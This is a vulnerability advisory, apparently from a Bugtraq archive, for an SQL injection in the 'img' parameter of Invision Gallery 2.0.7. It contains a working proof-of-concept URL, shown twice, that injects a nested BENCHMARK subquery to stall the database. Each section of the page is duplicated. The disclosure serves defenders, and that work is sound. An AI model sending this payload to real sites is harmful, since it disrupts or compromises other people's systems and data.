Invision Gallery Index.PHP IMG Parameter SQL Injection Vulnerability
BID:21388
Info
Invision Gallery Index.PHP IMG Parameter SQL Injection Vulnerability
| Bugtraq ID: | 21388 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Dec 01 2006 12:00AM |
| Updated: | Dec 04 2006 06:44PM |
| Credit: | [email protected] is credited with the discovery of this vulnerability. |
| Vulnerable: |
Invision Power Services Invision Gallery 2.0.7 |
| Not Vulnerable: | |
Discussion
Invision Gallery Index.PHP IMG Parameter SQL Injection Vulnerability
Invision Gallery is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
Invision Gallery is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
Exploit / POC
Invision Gallery Index.PHP IMG Parameter SQL Injection Vulnerability
Attackers can exploit these issues via a web client.
The following exploit is available:
http://www.example.com/index.php?automodule=gallery&cmd=postcomment&op=doaddcomment&Post=test&img=111 OR id IN (SELECT BENCHMARK(10000000,BENCHMARK(10000000,md5(current_date))) FROM ipb_gallery_images )
Attackers can exploit these issues via a web client.
The following exploit is available:
http://www.example.com/index.php?automodule=gallery&cmd=postcomment&op=doaddcomment&Post=test&img=111 OR id IN (SELECT BENCHMARK(10000000,BENCHMARK(10000000,md5(current_date))) FROM ipb_gallery_images )
Solution / Fix
Invision Gallery Index.PHP IMG Parameter SQL Injection Vulnerability
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected]:[email protected].
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected]:[email protected].
References
Invision Gallery Index.PHP IMG Parameter SQL Injection Vulnerability
References:
References: